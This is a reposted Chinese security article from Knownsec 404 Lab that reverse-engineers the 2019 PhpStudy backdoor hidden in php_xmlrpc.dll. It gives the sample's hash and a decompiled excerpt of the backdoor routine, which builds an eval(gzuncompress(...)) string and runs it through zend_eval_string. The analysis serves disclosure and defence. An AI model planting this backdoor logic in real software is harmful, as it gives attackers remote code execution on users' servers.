iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >PhpStudy 后门分析
  • 265
分享到

PhpStudy 后门分析

2023-06-04 23:06:04 265人浏览 薄情痞子
摘要

作者:Hcamael@知道创宇404实验室时间:2019年9月26日背景介绍2019/09/20,一则杭州警方通报打击涉网违法犯罪专项行动战果的新闻出现在我的朋友圈,其中通报了警方发现PHPStudy软件被种入后门后进行的侦查和逮捕了犯罪嫌

作者:Hcamael@知道创宇404实验室
时间:2019年9月26日

背景介绍

2019/09/20,一则杭州警方通报打击涉网违法犯罪专项行动战果的新闻出现在我的朋友圈,其中通报了警方发现PHPStudy软件被种入后门后进行的侦查和逮捕了犯罪嫌疑人的事情。用phpStudy的WEB狗还挺多的,曾经我还是Web狗的时候也用过几天,不过因为不习惯就卸了。还记得当初会用PhpStudy的原因是在网上自学一些Web方向的课程时,那些课程中就是使用PhpStudy。在拿到样本后,我就对PhpStudy中的后门进行了一波逆向分析。

后门分析

最近关于讲phpstudy的文章很多,不过我只得到一个信息,后门在php_xmlrpc.dll文件中,有关键词:"eval(%s(%s))"。得知这个信息后,就降低了前期的工作难度。可以直接对该dll文件进行逆向分析。

我拿到的是2018 phpstudy的样本: MD5 (php_xmlrpc.dll) = c339482fd2b233fb0a555b629c0ea5d5

字符串进行搜索,很容易的搜到了函数:sub_100031F0

经过对该函数逆向分析,发现该后门可以分为三种形式:

1.触发固定payload:
v12 = strcmp(**v34, aCompressGzip);      if ( !v12 )      {        v13 = &rce_cmd;        v14 = (char *)&unk_1000D66C;        v42 = &rce_cmd;        v15 = &unk_1000D66C;        while ( 1 )        {          if ( *v15 == '\'' )          {            v13[v12] = '\\';            v42[v12 + 1] = *v14;            v12 += 2;            v15 += 2;          }          else          {            v13[v12++] = *v14;            ++v15;          }          v14 += 4;          if ( (signed int)v14 >= (signed int)&unk_1000E5C4 )            break;          v13 = v42;        }        spprintf(&v36, 0, aVSMS, byte_100127B8, Dest);        spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);        v16 = *(_DWord *)(*a3 + 4 * executor_globals_id - 4);        v17 = *(void **)(v16 + 296);        *(_DWORD *)(v16 + 296) = &v32;        v40 = v17;        v18 = setjmp3((int)&v32, 0);        v19 = v40;        if ( v18 )        {          v20 = a3;          *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v40;        }        else        {          v20 = a3;          zend_eval_string(v42, 0, &rce_cmd, a3);        }        result = 0;        *(_DWORD *)(*(_DWORD *)(*v20 + 4 * executor_globals_id - 4) + 296) = v19;        return result;      }

--结束END--

本文标题: PhpStudy 后门分析

本文链接: https://www.lsjlt.com/news/240457.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • PhpStudy 后门分析
    作者:Hcamael@知道创宇404实验室时间:2019年9月26日背景介绍2019/09/20,一则杭州警方通报打击涉网违法犯罪专项行动战果的新闻出现在我的朋友圈,其中通报了警方发现PhpStudy软件被种入后门后进行的侦查和逮捕了犯罪嫌...
    99+
    2023-06-04
  • Phpstudy后门漏洞复现
    一、漏洞简介 2019年9月20日,网上传出 phpStudy 软件存在后门,随后作者立即发布声明进行澄清,其真实情况是该软件官网于2016年被非法入侵,程序包自带PHP的php_xmlrpc.dll模块被植入隐藏后门,经过分析除了有反向连...
    99+
    2023-09-05
    安全 php 开发语言 web安全
  • PhpStudy后门漏洞实战复现
    phpstudy后门事件介绍 2018年12月4日,西湖区公安分局网警大队接报案,某公司发现公司内有20余台计算机被执行危险命令,疑似远程控制抓取账号密码等计算机数据回传大量敏感信息。通过专业技术溯源...
    99+
    2023-08-31
    安全 web安全
  • 分析Java前后端分离以及Vue.js入门
    本篇内容介绍了“分析Java前后端分离以及Vue.js入门”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!前...
    99+
    2024-04-02
  • Java十道入门易踩坑题分析后篇
    目录一,写在前面二,代码分析        代码分析①代码分析②代码分析③代码分析④代码分析⑤代码分析...
    99+
    2024-04-02
  • Python中关于前后端分离开发入门的示例分析
    本篇文章为大家展示了Python中关于前后端分离开发入门的示例分析,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。前后端分离开发入门在传统的Web应用开发中,大多数的程序员会将浏览器作为前后端的分界线...
    99+
    2023-06-02
  • phpstudy怎么域名解析
    在phpstudy中设置域名解析的方法首先,在计算机中打开phpstudy操作界面,并启动phpstudy;phpstudy启动后,在phpstudy中点击“其他选项菜单”按钮;在弹出的下拉中,选择“站点域名管理”选项;最后,在站点域名管理...
    99+
    2024-04-02
  • 威胁快报|Bulehero挖矿蠕虫升级,PhpStudy后门漏洞加入武器库
    概述...
    99+
    2024-04-02
  • Elasticsearch入门实例分析
    这篇文章主要介绍“Elasticsearch入门实例分析”,在日常操作中,相信很多人在Elasticsearch入门实例分析问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”Elasticsearch入门实例分析...
    99+
    2023-06-05
  • SpringMVC入门实例分析
    今天小编给大家分享一下SpringMVC入门实例分析的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解...
    99+
    2024-04-02
  • drools入门案例分析
    今天小编给大家分享一下drools入门案例分析的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。一、背景最近在学习规则引擎dro...
    99+
    2023-06-30
  • HTML入门实例分析
    这篇文章主要介绍“HTML入门实例分析”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“HTML入门实例分析”文章能帮助大家解决问题。 HTML是英文Hyper Te...
    99+
    2024-04-02
  • Python数据分析入门
    本文来分享一下如何通过Python来开始数据分析。具体内容如下:数据导入导入本地的或者web端的CSV文件;数据变换;数据统计描述;假设检验单样本t检验;可视化;创建自定义函数。数据导入这是很关键的一步,为了后续的分析我们首先需要导入数据。...
    99+
    2023-01-31
    入门 数据 Python
  • PHP入门指南:前后端分离
    作为一门非常流行的编程语言,PHP 在互联网开发中扮演着重要的角色。而随着近年来前后端分离的趋势愈发明显,越来越多的 PHP 开发者也在思考如何更好地进行前后端分离开发。本文将为大家介绍 PHP 入门指南,教你如何进行前后端分离。1、前后端...
    99+
    2023-05-23
    PHP 前后端分离 入门指南
  • CTF AWD入门实例分析
    这篇文章主要介绍了CTF AWD入门实例分析的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇CTF AWD入门实例分析文章都会有所收获,下面我们一起来看看吧。引文AWD赛制是一种网络安全竞赛的...
    99+
    2023-07-04
  • phpstudy mysql启动后停止的解决方案
    目录发现问题解决方案:1.关闭mysql服务2.管理员命令下删除mysql服务3.删除环境变量(之前不成功一直没有删这个)关于数据库MYSQL服务无法启动的问题:总结发现问题 原来安...
    99+
    2022-11-13
    phpstudy中mysql启动后自动停止 phpstudypro mysql启动不了 phpstudy启动后就停止
  • flash away3D入门实例分析
    本文小编为大家详细介绍“flash away3D入门实例分析”,内容详细,步骤清晰,细节处理妥当,希望这篇“flash away3D入门实例分析”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学...
    99+
    2024-04-02
  • 从一次有趣的漏洞分析到一个有趣的PHP后门
    起因 事情的起因很有趣,前几天我正对着电脑发呆的时候,突然有个安全交流群的群友来找我交流一个问题 大概的意思就是,他在挖SRC的时候,发现一处资产存在目录遍历漏洞,它通过这个漏洞,找到目标资产使用了...
    99+
    2023-09-01
    漏洞分析 SRC php PHP后门
  • SQL Server的入门实战分析
    本篇内容介绍了“SQL Server的入门实战分析”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!环境信息:...
    99+
    2024-04-02
  • 容器Docker入门实例分析
    这篇文章主要讲解了“容器Docker入门实例分析”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“容器Docker入门实例分析”吧!一、概述1.1 基本概念:d...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作